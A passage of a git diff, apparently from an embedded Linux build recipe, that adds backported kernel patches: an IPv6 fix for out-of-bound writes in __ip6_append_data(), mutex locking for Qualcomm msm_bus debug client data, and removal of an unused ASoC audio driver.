(skb_network_header(skb) - skb_mac_header(skb)) + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0241-1d31de23f617-ipv6 fix out of bound writes in ip6appenddata.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0241-1d31de23f617-ipv6 fix out of bound writes in ip6appenddata.patch new file mode 100644 index 0000000..a14279d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0241-1d31de23f617-ipv6 fix out of bound writes in ip6appenddata.patch @@ -0,0 +1,69 @@ +From 1d31de23f617332861b9767ad137b73e953be60b Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 19 May 2017 14:17:48 -0700 +Subject: ipv6: fix out of bound writes in __ip6_append_data() + +[ Upstream commit 232cd35d0804cc241eb887bb8d4d9b3b9881c64a ] + +Andrey Konovalov and idaifish@gmail.com reported crashes caused by +one skb shared_info being overwritten from __ip6_append_data() + +Andrey program lead to following state : + +copy -4200 datalen 2000 fraglen 2040 +maxfraglen 2040 alloclen 2048 transhdrlen 0 offset 0 fraggap 6200 + +The skb_copy_and_csum_bits(skb_prev, maxfraglen, data + transhdrlen, +fraggap, 0); is overwriting skb->head and skb_shared_info + +Since we apparently detect this rare condition too late, move the +code earlier to even avoid allocating skb and risking crashes. + +Once again, many thanks to Andrey and syzkaller team. + +Signed-off-by: Eric Dumazet +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Reported-by: +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv6/ip6_output.c | 15 ++++++++------- + 1 file changed, 8 insertions(+), 7 deletions(-) + +diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c +index 3c5509c64944..49a589a4454b 100644 +--- a/net/ipv6/ip6_output.c ++++ b/net/ipv6/ip6_output.c +@@ -1376,6 +1376,11 @@ alloc_new_skb: + */ + alloclen += sizeof(struct frag_hdr); + ++ copy = datalen - transhdrlen - fraggap; ++ if (copy < 0) { ++ err = -EINVAL; ++ goto error; ++ } + if (transhdrlen) { + skb = sock_alloc_send_skb(sk, + alloclen + hh_len, +@@ -1425,13 +1430,9 @@ alloc_new_skb: + data += fraggap; + pskb_trim_unique(skb_prev, maxfraglen); + } +- copy = datalen - transhdrlen - fraggap; +- +- if (copy < 0) { +- err = -EINVAL; +- kfree_skb(skb); +- goto error; +- } else if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) { ++ if (copy > 0 && ++ getfrag(from, data + transhdrlen, offset, ++ copy, fraggap, skb) < 0) { + err = -EFAULT; + kfree_skb(skb); + goto error; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0242-c1f749639030-soc qcom msmbus add mutex lock for cllist data.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0242-c1f749639030-soc qcom msmbus add mutex lock for cllist data.patch new file mode 100644 index 0000000..a63b017 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0242-c1f749639030-soc qcom msmbus add mutex lock for cllist data.patch @@ -0,0 +1,347 @@ +From c1f749639030305a3b02185c180240a8195fb715 Mon Sep 17 00:00:00 2001 +From: Maria Yu +Date: Fri, 21 Apr 2017 16:06:14 +0800 +Subject: soc: qcom: msm_bus: add mutex lock for cllist data + +Cldata needed to be protected by lock since crash +happened when synchronous update and free. + +CRs-Fixed: 2034222 +Change-Id: Ied86461b784d69d9758dc3fc793a8a0de86e7f9c +Signed-off-by: Maria Yu +--- + drivers/platform/msm/msm_bus/msm_bus_dbg.c | 102 +++++++++++++++++++++-------- + 1 file changed, 76 insertions(+), 26 deletions(-) + +diff --git a/drivers/platform/msm/msm_bus/msm_bus_dbg.c b/drivers/platform/msm/msm_bus/msm_bus_dbg.c +index 88ba186..8db3a62 100644 +--- a/drivers/platform/msm/msm_bus/msm_bus_dbg.c ++++ b/drivers/platform/msm/msm_bus/msm_bus_dbg.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2010-2012, 2014-2015, The Linux Foundation. All rights ++/* Copyright (c) 2010-2012, 2014-2015, 2017 The Linux Foundation. All rights + * reserved. + * + * This program is free software; you can redistribute it and/or modify +@@ -38,6 +38,7 @@ + static struct dentry *clients; + static struct dentry *dir; + static DEFINE_MUTEX(msm_bus_dbg_fablist_lock); ++static DEFINE_RT_MUTEX(msm_bus_dbg_cllist_lock); + struct msm_bus_dbg_state { + uint32_t cl; + uint8_t enable; +@@ -289,7 +290,9 @@ static ssize_t client_data_read(struct file *file, char __user *buf, + struct msm_bus_cldata *cldata = NULL; + const struct msm_bus_client_handle *handle = file->private_data; + int found = 0; ++ ssize_t ret; + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if ((cldata->clid == cl) || + (cldata->handle && (cldata->handle == handle))) { +@@ -298,12 +301,17 @@ static ssize_t client_data_read(struct file *file, char __user *buf, + } + } + +- if (!found) ++ if (!found) { ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + return 0; ++ } + + bsize = cldata->size; +- return simple_read_from_buffer(buf, count, ppos, ++ ret = simple_read_from_buffer(buf, count, ppos, + cldata->buffer, bsize); ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); ++ ++ return ret; + } + + static int client_data_open(struct inode *inode, struct file *file) +@@ -339,7 +347,9 @@ int msm_bus_dbg_add_client(const struct msm_bus_client_handle *pdata) + return -ENOMEM; + } + cldata->handle = pdata; ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_add_tail(&cldata->list, &cl_list); ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + return 0; + } + +@@ -352,6 +362,7 @@ int msm_bus_dbg_rec_transaction(const struct msm_bus_client_handle *pdata, + bool found = false; + char *buf = NULL; + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (cldata->handle == pdata) { + found = true; +@@ -359,12 +370,15 @@ int msm_bus_dbg_rec_transaction(const struct msm_bus_client_handle *pdata, + } + } + +- if (!found) ++ if (!found) { ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + return -ENOENT; ++ } + + if (cldata->file == NULL) { + if (pdata->name == NULL) { + MSM_BUS_DBG("Client doesn't have a name\n"); ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + return -EINVAL; + } + cldata->file = debugfs_create_file(pdata->name, S_IRUGO, +@@ -393,6 +407,7 @@ int msm_bus_dbg_rec_transaction(const struct msm_bus_client_handle *pdata, + i += scnprintf(buf + i, MAX_BUFF_SIZE - i, "%llu ", ib); + i += scnprintf(buf + i, MAX_BUFF_SIZE - i, "\n"); + cldata->size = i; ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + + trace_bus_update_request((int)ts.tv_sec, (int)ts.tv_nsec, + pdata->name, pdata->mas, pdata->slv, ab, ib); +@@ -404,6 +419,7 @@ void msm_bus_dbg_remove_client(const struct msm_bus_client_handle *pdata) + { + struct msm_bus_cldata *cldata = NULL; + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (cldata->handle == pdata) { + debugfs_remove(cldata->file); +@@ -412,6 +428,7 @@ void msm_bus_dbg_remove_client(const struct msm_bus_client_handle *pdata) + break; + } + } ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + } + + static int msm_bus_dbg_record_client(const struct msm_bus_scale_pdata *pdata, +@@ -429,7 +446,9 @@ static int msm_bus_dbg_record_client(const struct msm_bus_scale_pdata *pdata, + cldata->clid = clid; + cldata->file = file; + cldata->size = 0; ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_add_tail(&cldata->list, &cl_list); ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + return 0; + } + +@@ -437,6 +456,7 @@ static void msm_bus_dbg_free_client(uint32_t clid) + { + struct msm_bus_cldata *cldata = NULL; + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (cldata->clid == clid) { + debugfs_remove(cldata->file); +@@ -445,6 +465,7 @@ static void msm_bus_dbg_free_client(uint32_t clid) + break; + } + } ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + } + + static int msm_bus_dbg_fill_cl_buffer(const struct msm_bus_scale_pdata *pdata, +@@ -456,6 +477,7 @@ static int msm_bus_dbg_fill_cl_buffer(const struct msm_bus_scale_pdata *pdata, + struct timespec ts; + int found = 0; + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (cldata->clid == clid) { + found = 1; +@@ -463,11 +485,14 @@ static int msm_bus_dbg_fill_cl_buffer(const struct msm_bus_scale_pdata *pdata, + } + } + +- if (!found) ++ if (!found) { ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + return -ENOENT; ++ } + + if (cldata->file == NULL) { + if (pdata->name == NULL) { ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + MSM_BUS_DBG("Client doesn't have a name\n"); + return -EINVAL; + } +@@ -515,19 +540,9 @@ static int msm_bus_dbg_fill_cl_buffer(const struct msm_bus_scale_pdata *pdata, + + cldata->index = index; + cldata->size = i; +- return i; +-} +- +-static int msm_bus_dbg_update_request(struct msm_bus_cldata *cldata, int index) +-{ +- int ret = 0; ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + +- if ((index < 0) || (index > cldata->pdata->num_usecases)) { +- MSM_BUS_DBG("Invalid index!\n"); +- return -EINVAL; +- } +- ret = msm_bus_scale_client_update_request(cldata->clid, index); +- return ret; ++ return i; + } + + static ssize_t msm_bus_dbg_update_request_write(struct file *file, +@@ -539,19 +554,26 @@ static ssize_t msm_bus_dbg_update_request_write(struct file *file, + char *chid; + char *buf = kmalloc((sizeof(char) * (cnt + 1)), GFP_KERNEL); + int found = 0; ++ uint32_t clid; ++ ssize_t res = cnt; + + if (!buf || IS_ERR(buf)) { + MSM_BUS_ERR("Memory allocation for buffer failed\n"); + return -ENOMEM; + } +- if (cnt == 0) +- return 0; +- if (copy_from_user(buf, ubuf, cnt)) +- return -EFAULT; ++ if (cnt == 0) { ++ res = 0; ++ goto out; ++ } ++ if (copy_from_user(buf, ubuf, cnt)) { ++ res = -EFAULT; ++ goto out; ++ } + buf[cnt] = '\0'; + chid = buf; + MSM_BUS_DBG("buffer: %s\n size: %zu\n", buf, sizeof(ubuf)); + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (strnstr(chid, cldata->pdata->name, cnt)) { + found = 1; +@@ -562,21 +584,35 @@ static ssize_t msm_bus_dbg_update_request_write(struct file *file, + if (ret) { + MSM_BUS_DBG("Index conversion" + " failed\n"); +- return -EFAULT; ++ rt_mutex_unlock( ++ &msm_bus_dbg_cllist_lock); ++ res = -EFAULT; ++ goto out; + } + } else { + MSM_BUS_DBG("Error parsing input. Index not" + " found\n"); + found = 0; + } ++ if ((index < 0) || ++ (index > cldata->pdata->num_usecases)) { ++ MSM_BUS_DBG("Invalid index!\n"); ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); ++ res = -EINVAL; ++ goto out; ++ } ++ clid = cldata->clid; + break; + } + } ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + + if (found) +- msm_bus_dbg_update_request(cldata, index); ++ msm_bus_scale_client_update_request(clid, index); ++ ++out: + kfree(buf); +- return cnt; ++ return res; + } + + /** +@@ -599,8 +635,10 @@ static ssize_t fabric_data_read(struct file *file, char __user *buf, + break; + } + } +- if (!found) ++ if (!found) { ++ mutex_unlock(&msm_bus_dbg_fablist_lock); + return -ENOENT; ++ } + bsize = fablist->size; + ret = simple_read_from_buffer(buf, count, ppos, + fablist->buffer, bsize); +@@ -689,8 +727,10 @@ static int msm_bus_dbg_fill_fab_buffer(const char *fabname, + break; + } + } +- if (!found) ++ if (!found) { ++ mutex_unlock(&msm_bus_dbg_fablist_lock); + return -ENOENT; ++ } + + if (fablist->file == NULL) { + MSM_BUS_DBG("Fabric dbg entry does not exist\n"); +@@ -741,6 +781,8 @@ static ssize_t msm_bus_dbg_dump_clients_read(struct file *file, + "\nDumping curent client votes to trace log\n"); + if (*ppos) + goto exit_dump_clients_read; ++ ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (IS_ERR_OR_NULL(cldata->pdata)) + continue; +@@ -756,6 +798,7 @@ static ssize_t msm_bus_dbg_dump_clients_read(struct file *file, + cldata->pdata->active_only); + } + } ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + exit_dump_clients_read: + return simple_read_from_buffer(buf, count, ppos, msg, cnt); + } +@@ -880,6 +923,7 @@ static int __init msm_bus_debugfs_init(void) + goto err; + } + ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry(cldata, &cl_list, list) { + if (cldata->pdata) { + if (cldata->pdata->name == NULL) { +@@ -899,6 +943,7 @@ static int __init msm_bus_debugfs_init(void) + &client_data_fops); + } + } ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); + + if (debugfs_create_file("dump_clients", S_IRUGO | S_IWUSR, + clients, NULL, &msm_bus_dbg_dump_clients_fops) == NULL) +@@ -911,6 +956,7 @@ static int __init msm_bus_debugfs_init(void) + if (fablist->file == NULL) { + MSM_BUS_DBG("Cannot create files for commit data\n"); + kfree(rules_buf); ++ mutex_unlock(&msm_bus_dbg_fablist_lock); + goto err; + } + } +@@ -930,10 +976,14 @@ static void __exit msm_bus_dbg_teardown(void) + struct msm_bus_cldata *cldata = NULL, *cldata_temp; + + debugfs_remove_recursive(dir); ++ ++ rt_mutex_lock(&msm_bus_dbg_cllist_lock); + list_for_each_entry_safe(cldata, cldata_temp, &cl_list, list) { + list_del(&cldata->list); + kfree(cldata); + } ++ rt_mutex_unlock(&msm_bus_dbg_cllist_lock); ++ + mutex_lock(&msm_bus_dbg_fablist_lock); + list_for_each_entry_safe(fablist, fablist_temp, &fabdata_list, list) { + list_del(&fablist->list); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0243-dc333eb1c31b-ASoC msm remove unused msmcomprq6v2.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0243-dc333eb1c31b-ASoC msm remove unused msmcomprq6v2.patch new file mode 100644 index 0000000..33e0cd6 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0243-dc333eb1c31b-ASoC msm remove unused msmcomprq6v2.patch @@ -0,0 +1,1774 @@ +From dc333eb1c31b5bdd2b6375d7cb890086d8f27d8b Mon Sep 17 00:00:00 2001 +From: Xiaojun Sang +Date: Thu, 27 Apr 2017 14:44:25 +0800 +Subject: ASoC: msm: remove unused msm-compr-q6-v2 + +msm-compr-q6-v2.c and msm-compr-q6-v2.h are no longer used. + +CRs-Fixed: 2022953 +Change-Id: I856d90a212a3e123a2c8b80092aff003f7c608c7 +Signed-off-by: Xiaojun Sang +--- + sound/soc/msm/qdsp6v2/Makefile | 2 +- + sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c | 1694 ------------------------------- + sound/soc/msm/qdsp6v2/msm-compr-q6-v2.h | 36 - + 3 files changed, 1 insertion(+), 1731 deletions(-) + delete mode 100644 sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c + delete mode 100644 sound/soc/msm/qdsp6v2/msm-compr-q6-v2.h + +diff --git a/sound/soc/msm/qdsp6v2/Makefile b/sound/soc/msm/qdsp6v2/Makefile +index 8e1aa30..7abaaad 100644 +--- a/sound/soc/msm/qdsp6v2/Makefile ++++ b/sound/soc/msm/qdsp6v2/Makefile +@@ -1,5 +1,5 @@ + snd-soc-qdsp6v2-objs += msm-dai-q6-v2.o msm-pcm-q6-v2.o msm-pcm-routing-v2.o \ +- msm-compress-q6-v2.o msm-compr-q6-v2.o \ ++ msm-compress-q6-v2.o \ + msm-pcm-lpa-v2.o \ + msm-pcm-afe-v2.o msm-pcm-voip-v2.o \ + msm-pcm-voice-v2.o msm-dai-q6-hdmi-v2.o \ +diff --git a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c b/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c +deleted file mode 100644 +index 58a4de5..0000000 +--- a/sound/soc/msm/qdsp6v2/msm-compr-q6-v2.c ++++ /dev/null +@@ -1,1694 +0,0 @@ +-/* Copyright (c) 2012-2016, The Linux Foundation. All rights reserved. +- * +- * This program is free software; you can redistribute it and/or modify +- * it under the terms of the GNU General Public License version 2 and +- * only version 2 as published by the Free Software Foundation. +- * +- * This program is distributed in the hope that it will be useful, +- * but WITHOUT ANY WARRANTY; without even the implied warranty of +- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- * GNU General Public License for more details. +- */ +- +- +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-#include +- +-#include "msm-compr-q6-v2.h" +-#include "msm-pcm-routing-v2.h" +-#include +- +-#define COMPRE_CAPTURE_NUM_PERIODS 16 +-/* Allocate the worst case frame size for compressed audio */ +-#define COMPRE_CAPTURE_HEADER_SIZE (sizeof(struct snd_compr_audio_info)) +-/* Changing period size to 4032. 4032 will make sure COMPRE_CAPTURE_PERIOD_SIZE +- * is 4096 with meta data size of 64 and MAX_NUM_FRAMES_PER_BUFFER 1 +- */ +-#define COMPRE_CAPTURE_MAX_FRAME_SIZE (4032) +-#define COMPRE_CAPTURE_PERIOD_SIZE ((COMPRE_CAPTURE_MAX_FRAME_SIZE + \ +- COMPRE_CAPTURE_HEADER_SIZE) * \ +- MAX_NUM_FRAMES_PER_BUFFER) +-#define COMPRE_OUTPUT_METADATA_SIZE (sizeof(struct output_meta_data_st)) +-#define COMPRESSED_LR_VOL_MAX_STEPS 0x20002000 +- +-#define MAX_AC3_PARAM_SIZE (18*2*sizeof(int)) +-#define AMR_WB_BAND_MODE 8 +-#define AMR_WB_DTX_MODE 0 +- +- +-const DECLARE_TLV_DB_LINEAR(compr_rx_vol_gain, 0, +- COMPRESSED_LR_VOL_MAX_STEPS); +- +-static struct audio_locks the_locks; +- +-static struct snd_pcm_hardware msm_compr_hardware_capture = { +- .info = (SNDRV_PCM_INFO_MMAP | +- SNDRV_PCM_INFO_BLOCK_TRANSFER | +- SNDRV_PCM_INFO_MMAP_VALID | +- SNDRV_PCM_INFO_INTERLEAVED | +- SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_RESUME), +- .formats = SNDRV_PCM_FMTBIT_S16_LE, +- .rates = SNDRV_PCM_RATE_8000_48000, +- .rate_min = 8000, +- .rate_max = 48000, +- .channels_min = 1, +- .channels_max = 8, +- .buffer_bytes_max = +- COMPRE_CAPTURE_PERIOD_SIZE * COMPRE_CAPTURE_NUM_PERIODS , +- .period_bytes_min = COMPRE_CAPTURE_PERIOD_SIZE, +- .period_bytes_max = COMPRE_CAPTURE_PERIOD_SIZE, +- .periods_min = COMPRE_CAPTURE_NUM_PERIODS, +- .periods_max = COMPRE_CAPTURE_NUM_PERIODS, +- .fifo_size = 0, +-}; +- +-static struct snd_pcm_hardware msm_compr_hardware_playback = { +- .info = (SNDRV_PCM_INFO_MMAP | +- SNDRV_PCM_INFO_BLOCK_TRANSFER | +- SNDRV_PCM_INFO_MMAP_VALID | +- SNDRV_PCM_INFO_INTERLEAVED | +- SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_RESUME), +- .formats = SNDRV_PCM_FMTBIT_S16_LE | SNDRV_PCM_FMTBIT_S24_LE, +- .rates = SNDRV_PCM_RATE_8000_48000 | SNDRV_PCM_RATE_KNOT, +- .rate_min = 8000, +- .rate_max = 48000, +- .channels_min = 1, +- .channels_max = 8, +- .buffer_bytes_max = 1024 * 1024, +- .period_bytes_min = 128 * 1024, +- .period_bytes_max = 256 * 1024, +- .periods_min = 4, +- .periods_max = 8, +- .fifo_size = 0, +-}; +- +-/* Conventional and unconventional sample rate supported */ +-static unsigned int supported_sample_rates[] = { +- 8000, 11025, 12000, 16000, 22050, 24000, 32000, 44100, 48000 +-}; +- +-/* Add supported codecs for compress capture path */ +-static uint32_t supported_compr_capture_codecs[] = { +- SND_AUDIOCODEC_AMRWB +-}; +- +-static struct snd_pcm_hw_constraint_list constraints_sample_rates = { +- .count = ARRAY_SIZE(supported_sample_rates), +- .list = supported_sample_rates, +- .mask = 0, +-}; +- +-static bool msm_compr_capture_codecs(uint32_t req_codec) +-{ +- int i; +- pr_debug("%s req_codec:%d\n", __func__, req_codec); +- if (req_codec == 0) +- return false; +- for (i = 0; i < ARRAY_SIZE(supported_compr_capture_codecs); i++) { +- if (req_codec == supported_compr_capture_codecs[i]) +- return true; +- } +- return false; +-} +- +-static void compr_event_handler(uint32_t opcode, +- uint32_t token, uint32_t *payload, void *priv) +-{ +- struct compr_audio *compr = priv; +- struct msm_audio *prtd = &compr->prtd; +- struct snd_pcm_substream *substream = prtd->substream; +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct audio_aio_write_param param; +- struct audio_aio_read_param read_param; +- struct audio_buffer *buf = NULL; +- phys_addr_t temp; +- struct output_meta_data_st output_meta_data; +- uint32_t *ptrmem = (uint32_t *)payload; +- int i = 0; +- int time_stamp_flag = 0; +- int buffer_length = 0; +- int stop_playback = 0; +- +- pr_debug("%s opcode =%08x\n", __func__, opcode); +- switch (opcode) { +- case ASM_DATA_EVENT_WRITE_DONE_V2: { +- uint32_t *ptrmem = (uint32_t *)¶m; +- pr_debug("ASM_DATA_EVENT_WRITE_DONE\n"); +- pr_debug("Buffer Consumed = 0x%08x\n", *ptrmem); +- prtd->pcm_irq_pos += prtd->pcm_count; +- if (atomic_read(&prtd->start)) +- snd_pcm_period_elapsed(substream); +- else +- if (substream->timer_running) +- snd_timer_interrupt(substream->timer, 1); +- atomic_inc(&prtd->out_count); +- wake_up(&the_locks.write_wait); +- if (!atomic_read(&prtd->start)) { +- atomic_set(&prtd->pending_buffer, 1); +- break; +- } else +- atomic_set(&prtd->pending_buffer, 0); +- +- /* +- * check for underrun +- */ +- snd_pcm_stream_lock_irq(substream); +- if (runtime->status->hw_ptr >= runtime->control->appl_ptr) { +- runtime->render_flag |= SNDRV_RENDER_STOPPED; +- stop_playback = 1; +- } +- snd_pcm_stream_unlock_irq(substream); +- +- if (stop_playback) { +- pr_err("underrun! render stopped\n"); +- break; +- } +- +- buf = prtd->audio_client->port[IN].buf; +- pr_debug("%s:writing %d bytes of buffer[%d] to dsp 2\n", +- __func__, prtd->pcm_count, prtd->out_head); +- temp = buf[0].phys + (prtd->out_head * prtd->pcm_count); +- pr_debug("%s:writing buffer[%d] from 0x%pK\n", +- __func__, prtd->out_head, &temp); +- +- if (runtime->tstamp_mode == SNDRV_PCM_TSTAMP_ENABLE) +- time_stamp_flag = SET_TIMESTAMP; +- else +- time_stamp_flag = NO_TIMESTAMP; +- memcpy(&output_meta_data, (char *)(buf->data + +- prtd->out_head * prtd->pcm_count), +- COMPRE_OUTPUT_METADATA_SIZE); +- +- buffer_length = output_meta_data.frame_size; +- pr_debug("meta_data_length: %d, frame_length: %d\n", +- output_meta_data.meta_data_length, +- output_meta_data.frame_size); +- pr_debug("timestamp_msw: %d, timestamp_lsw: %d\n", +- output_meta_data.timestamp_msw, +- output_meta_data.timestamp_lsw); +- if (buffer_length == 0) { +- pr_debug("Recieved a zero length buffer-break out"); +- break; +- } +- param.paddr = temp + output_meta_data.meta_data_length; +- param.len = buffer_length; +- param.msw_ts = output_meta_data.timestamp_msw; +- param.lsw_ts = output_meta_data.timestamp_lsw; +- param.flags = time_stamp_flag; +- param.uid = prtd->session_id; +- for (i = 0; i < sizeof(struct audio_aio_write_param)/4; +- i++, ++ptrmem) +- pr_debug("cmd[%d]=0x%08x\n", i, *ptrmem); +- if (q6asm_async_write(prtd->audio_client, +- ¶m) < 0) +- pr_err("%s:q6asm_async_write failed\n", +- __func__); +- else +- prtd->out_head = +- (prtd->out_head + 1) & (runtime->periods - 1); +- break; +- } +- case ASM_DATA_EVENT_RENDERED_EOS: +- pr_debug("ASM_DATA_CMDRSP_EOS\n"); +- if (atomic_read(&prtd->eos)) { +- pr_debug("ASM_DATA_CMDRSP_EOS wake up\n"); +- prtd->cmd_ack = 1; +- wake_up(&the_locks.eos_wait); +- atomic_set(&prtd->eos, 0); +- } +- break; +- case ASM_DATA_EVENT_READ_DONE_V2: { +- pr_debug("ASM_DATA_EVENT_READ_DONE\n"); +- pr_debug("buf = %pK, data = 0x%X, *data = %pK,\n" +- "prtd->pcm_irq_pos = %d\n", +- prtd->audio_client->port[OUT].buf, +- *(uint32_t *)prtd->audio_client->port[OUT].buf->data, +- prtd->audio_client->port[OUT].buf->data, +- prtd->pcm_irq_pos); +- +- memcpy(prtd->audio_client->port[OUT].buf->data + +- prtd->pcm_irq_pos, (ptrmem + READDONE_IDX_SIZE), +- COMPRE_CAPTURE_HEADER_SIZE); +- pr_debug("buf = %pK, updated data = 0x%X, *data = %pK\n", +- prtd->audio_client->port[OUT].buf, +- *(uint32_t *)(prtd->audio_client->port[OUT].buf->data + +- prtd->pcm_irq_pos), +- prtd->audio_client->port[OUT].buf->data); +- if (!atomic_read(&prtd->start)) +- break; +- pr_debug("frame size=%d, buffer = 0x%X\n", +- ptrmem[READDONE_IDX_SIZE], +- ptrmem[READDONE_IDX_BUFADD_LSW]); +- if (ptrmem[READDONE_IDX_SIZE] > COMPRE_CAPTURE_MAX_FRAME_SIZE) { +- pr_err("Frame length exceeded the max length"); +- break; +- } +- buf = prtd->audio_client->port[OUT].buf; +- +- pr_debug("pcm_irq_pos=%d, buf[0].phys = 0x%pK\n", +- prtd->pcm_irq_pos, &buf[0].phys); +- read_param.len = prtd->pcm_count - COMPRE_CAPTURE_HEADER_SIZE; +- read_param.paddr = buf[0].phys + +- prtd->pcm_irq_pos + COMPRE_CAPTURE_HEADER_SIZE; +- prtd->pcm_irq_pos += prtd->pcm_count; +- +- if (atomic_read(&prtd->start)) +- snd_pcm_period_elapsed(substream); +- +- q6asm_async_read(prtd->audio_client, &read_param); +- break; +- } +- case APR_BASIC_RSP_RESULT: { +- switch (payload[0]) { +- case ASM_SESSION_CMD_RUN_V2: { +- if (substream->stream +- != SNDRV_PCM_STREAM_PLAYBACK) { +- atomic_set(&prtd->start, 1); +- break; +- } +- if (!atomic_read(&prtd->pending_buffer)) +- break; +- pr_debug("%s: writing %d bytes of buffer[%d] to dsp\n", +- __func__, prtd->pcm_count, prtd->out_head); +- buf = prtd->audio_client->port[IN].buf; +- pr_debug("%s: writing buffer[%d] from 0x%pK head %d count %d\n", +- __func__, prtd->out_head, &buf[0].phys, +- prtd->pcm_count, prtd->out_head); +- if (runtime->tstamp_mode == SNDRV_PCM_TSTAMP_ENABLE) +- time_stamp_flag = SET_TIMESTAMP; +- else +- time_stamp_flag = NO_TIMESTAMP; +- memcpy(&output_meta_data, (char *)(buf->data + +- prtd->out_head * prtd->pcm_count), +- COMPRE_OUTPUT_METADATA_SIZE); +- buffer_length = output_meta_data.frame_size; +- pr_debug("meta_data_length: %d, frame_length: %d\n", +- output_meta_data.meta_data_length, +- output_meta_data.frame_size); +- pr_debug("timestamp_msw: %d, timestamp_lsw: %d\n", +- output_meta_data.timestamp_msw, +- output_meta_data.timestamp_lsw); +- param.paddr = buf[prtd->out_head].phys +- + output_meta_data.meta_data_length; +- param.len = buffer_length; +- param.msw_ts = output_meta_data.timestamp_msw; +- param.lsw_ts = output_meta_data.timestamp_lsw; +- param.flags = time_stamp_flag; +- param.uid = prtd->session_id; +- param.metadata_len = COMPRE_OUTPUT_METADATA_SIZE; +- if (q6asm_async_write(prtd->audio_client, +- ¶m) < 0) +- pr_err("%s:q6asm_async_write failed\n", +- __func__); +- else +- prtd->out_head = +- (prtd->out_head + 1) +- & (runtime->periods - 1); +- atomic_set(&prtd->pending_buffer, 0); +- } +- break; +- case ASM_STREAM_CMD_FLUSH: +- pr_debug("ASM_STREAM_CMD_FLUSH\n"); +- prtd->cmd_ack = 1; +- wake_up(&the_locks.flush_wait); +- break; +- default: +- break; +- } +- break; +- } +- default: +- pr_debug("Not Supported Event opcode[0x%x]\n", opcode); +- break; +- } +-} +- +-static int msm_compr_send_ddp_cfg(struct audio_client *ac, +- struct snd_dec_ddp *ddp) +-{ +- int i, rc; +- pr_debug("%s\n", __func__); +- +- if (ddp->params_length / 2 > SND_DEC_DDP_MAX_PARAMS) { +- pr_err("%s: Invalid number of params %u, max allowed %u\n", +- __func__, ddp->params_length / 2, +- SND_DEC_DDP_MAX_PARAMS); +- return -EINVAL; +- } +- +- for (i = 0; i < ddp->params_length/2; i++) { +- rc = q6asm_ds1_set_endp_params(ac, ddp->params_id[i], +- ddp->params_value[i]); +- if (rc) { +- pr_err("sending params_id: %d failed\n", +- ddp->params_id[i]); +- return rc; +- } +- } +- return 0; +-} +- +-static int msm_compr_playback_prepare(struct snd_pcm_substream *substream) +-{ +- struct snd_pcm_runtime *runtime = substream->runtime; +- struct compr_audio *compr = runtime->private_data; +- struct snd_soc_pcm_runtime *soc_prtd = substream->private_data; +- struct msm_audio *prtd = &compr->prtd; +- struct snd_pcm_hw_params *params; +- struct asm_aac_cfg aac_cfg; +- uint16_t bits_per_sample = 16; +- int ret; +- +- struct asm_softpause_params softpause = { +- .enable = SOFT_PAUSE_ENABLE, +- .period = SOFT_PAUSE_PERIOD, +- .step = SOFT_PAUSE_STEP, +- .rampingcurve = SOFT_PAUSE_CURVE_LINEAR, +- }; +- struct asm_softvolume_params softvol = { +- 